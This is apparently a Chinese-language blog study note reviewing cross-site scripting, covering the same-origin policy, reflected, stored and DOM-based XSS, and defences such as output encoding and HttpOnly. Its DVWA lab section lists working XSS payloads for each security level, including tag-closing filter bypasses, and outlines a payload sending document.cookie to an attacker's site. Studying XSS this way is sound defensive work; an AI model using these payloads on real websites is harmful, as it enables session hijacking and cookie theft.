【web安全】xss复习

目录

一、xss概述

二、xss漏洞原理

1、反射型xss:可以理解为一次性攻击

        1)反射型xss攻击流程

        2)反射型xss的关键条件:诱导用户去访问恶意链接

        3)xss触发条件:(后面两种xss也是下面这三种触发方式)

               i. 标签:

               ii.伪协议:“javascript:”

               iii.事件:当满足某个事件的条件时,执行js脚本;事件都在标签中

2、存储型xss:持久性xss攻击

3、DOM型xss:一种特殊的反射型XSS

三、xss防御

1、输入过滤

2、输出编码或者转义

3、针对cookie:HttpOnly

四、dvwa练习xss

1、xss reflected

1)security=low

2)security=medium

3)security=high

2、xss dom

1)security=low

2)security=medium

3)security=high

五、工具


一、xss概述

跨站脚本攻击Cross-Site Scripting(为了区别于css,所以被称为xss)

xss属于注入型攻击,是注入html/javascript代码;一直在OWASP top10漏洞中;

xss属于客户端的安全问题,本身对web服务端的没有太大的危害,是借助网站使得大量用户受到攻击;xss可导致cookie窃取、会话劫持、钓鱼欺骗等各种各样的攻击;

浏览器的同源策略:

1)同源策略(Same-Origin Policy)是一种安全机制,用于浏览器中隔离不同源(Origin)之间的网页。

2)同源指的是协议(Protocol)、域名(Domain)和端口(Port)完全相同。

3)同源策略的目的是防止恶意网站通过JavaScript等方式访问其他网站的敏感信息或执行恶意操作。

4)同源策略的原理是,当浏览器加载一个网页时,该网页中的JavaScript脚本只能与加载该网页的源进行交互,而不能与其他源进行直接交互。这意味着,通过脚本无法读取其他源的Cookie、LocalStorage、SessionStorage等数据,也无法通过Ajax请求向其他源发送请求。

简单通俗一点说,就是不允许你去获取别人web站点的资源,但是允许别人主动给你(这个得设置一些跨站策略),而后续的xss攻击我理解的就是属于利用“别人允许给你的”这一点进行的xss攻击

同源策略的实施可以防止跨站点脚本攻击(Cross-Site Scripting, XSS)、跨站点请求伪造(Cross-Site Request Forgery, CSRF)等安全威胁,那正是由于同源策略得存在,所以xss要想攻击成功,恶意脚本一定要部署在目标网站下才能有成功的可能性,例如一个包含窃取某个用户在某个站点的cookie的恶意js脚本链接,一定要是放在该站点下;

xss分为反射型xss、存储型xss、DOM型xss

二、xss漏洞原理

1、反射型xss:可以理解为一次性攻击

        1)反射型xss攻击流程

通过某种方式(邮件、qq...)发给用户恶意链接-->用户访问包含恶意参数的链接--->服务器收到并且执行返回带有xss代码的页面给用户的浏览器------>浏览器解析xss代码触发漏洞

        这段xss代码可能是获取例如用户的用户名、浏览记录等等资源,然后发送给恶意浏览器,严重的就是获取该用户的cookie嘛,因为cookie是用户登录的身份凭据;

        2)反射型xss的关键条件:诱导用户去访问恶意链接

这里可能这个恶意链接直接写出来,稍微懂一点的看参数不正常就看出来了,所以这个链接的名字应该是会被处理的,例如有一个“短链接生成器”的东西;

        3)xss触发条件:(后面两种xss也是下面这三种触发方式)

               i. 标签:<script>(js脚本)</script>
               ii.伪协议:“javascript:

常用的<a href="javascript:(待执行的js脚本)">(a标签的链接名)</a>

               iii.事件:当满足某个事件的条件时,执行js脚本;事件都在标签中

事件有很多:HTML 事件 | 菜鸟教程 (runoob.com)

例如<img src="#" οnerrοr="(js代码)" />,onerror事件就是出错时执行,例如此处就是src参数错误,找不着该图片,例如具体的弹窗js:<img src="#" οnerrοr=alert(1) />

2、存储型xss:持久性xss攻击

攻击流程:攻击者向攻击对象的网站发布带有xss的内容,当浏览到这个页面的所有用户的浏览器都会执行这段xss代码导致xss触发漏洞;

应用场景:例如留言板、再例如qq空间等等,向其中发布一个带有xss代码的内容,那么所有看到该内容后浏览器都会执行其中的js代码导致漏洞产生

3、DOM型xss:一种特殊的反射型XSS

DOM树:

DOM树可以对html中所有元素进行操作(访问、修改等等)

常见的document对象属性:

  • document.domain:返回当前文档的域名
  • document.cookie:读取当前网页的cookie
  • document.lastModified:返回文档最后被修改的日期和时间(识别伪静态必备)
  • document.write():在文档中写入html代码或者js代码(dom xss常见的存在方式)
  • documnet.title:返回当前页面的最后修改时间
  • document.URL:返回当前文档的URL
  • document.referer:返回载入当前文档的文档的URL

F12打开控制台、实践一下

也可以写入代码

DOM型xss和反射型xss区别:DOM 型 XSS 和反射型 XSS 的主要区别在于注入和执行的位置。DOM 型 XSS 直接在客户端中注入和执行恶意脚本,而反射型 XSS 先将恶意脚本发送到服务器,再通过服务器的响应返回给客户端执行。

DOM 型 XSS:在 DOM 型 XSS 攻击中,恶意脚本通过修改页面的 DOM 结构来执行。攻击载荷通过用户提供的数据直接注入到页面中,然后由客户端(浏览器)解析并执行。这种攻击不涉及将数据发送到服务器,而是直接在客户端中执行。攻击者利用客户端脚本解析和执行过程中的漏洞,来注入恶意脚本并获取用户敏感信息或执行恶意操作。

反射型 XSS:反射型 XSS 攻击中,恶意脚本作为参数或输入的一部分发送到服务器,然后服务器将该恶意脚本反射回响应页面,最终由客户端解析和执行。攻击者通常会诱使用户点击包含恶意脚本的恶意链接,然后该恶意脚本会被发送到服务器,再经过服务器的处理返回给客户端。客户端接收到响应后,解析并执行恶意脚本,导致攻击成功。

三、xss防御

1、输入过滤

xss filter针对xss攻击特征的敏感字符进行过滤,例如尖括号和引号等等,script,on*等等;

2、输出编码或者转义

对“<”进行HTML实体编码-->&lt;

">"--->&gt;

htmlspecialchars()函数可以进行编码

3、针对cookie:HttpOnly

HttpOnly是设置cookie的一个属性,应用这个属性,js无法获取/访问 带有HttpOnly的cookie

四、dvwa练习xss

下面的练习都是弹窗cookie,但是可以通过<img src="(攻击者写好的接收cookie参数的网站)+document.cookie">大致这样的payload去攻击

1、xss reflected

1)security=low

输入11试试,可以看出是通过url请求了参数,返回页面的反射型

xss代码弹出cookie

<script>alert(document.cookie)</script>

2)security=medium

使用另外的xss触发方式:事件

<img src=1 onerror="alert(document.cookie)">

3)security=high

emm通过事件也可以触发,和medium的payload一模一样

2、xss dom

1)security=low

2)security=medium

标签和事件都不可以成功,F12查看源代码

这里也能看出来DOM型xss就是通过document.write()函数去执行改变dom树结构

按照这个write的格式,必须得闭合option标签,js中连接字符串是+,php是点号.

但是option标签和select标签中不可以包含img图像标签,所以payload如下

</option></select><img src=# onerror="alert(document.cookie)">

这里和上一个low区别是,因为过滤了script标签,所以使用带有onerror的img标签,但是这个标签不能在select和option中,所以必须得闭合掉;

3)security=high

之前的方法都不可以了,但是查看源码,采用白名单过滤,但是只检测default参数,而js逻辑是直接拼接,前端逻辑嘛直接拼接,一般后端逻辑应该还是数组接收

English&&hello=</option></select><img src=1 onerror="alert(document.cookie)">

五、工具

后面直接用漏扫工具吧

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值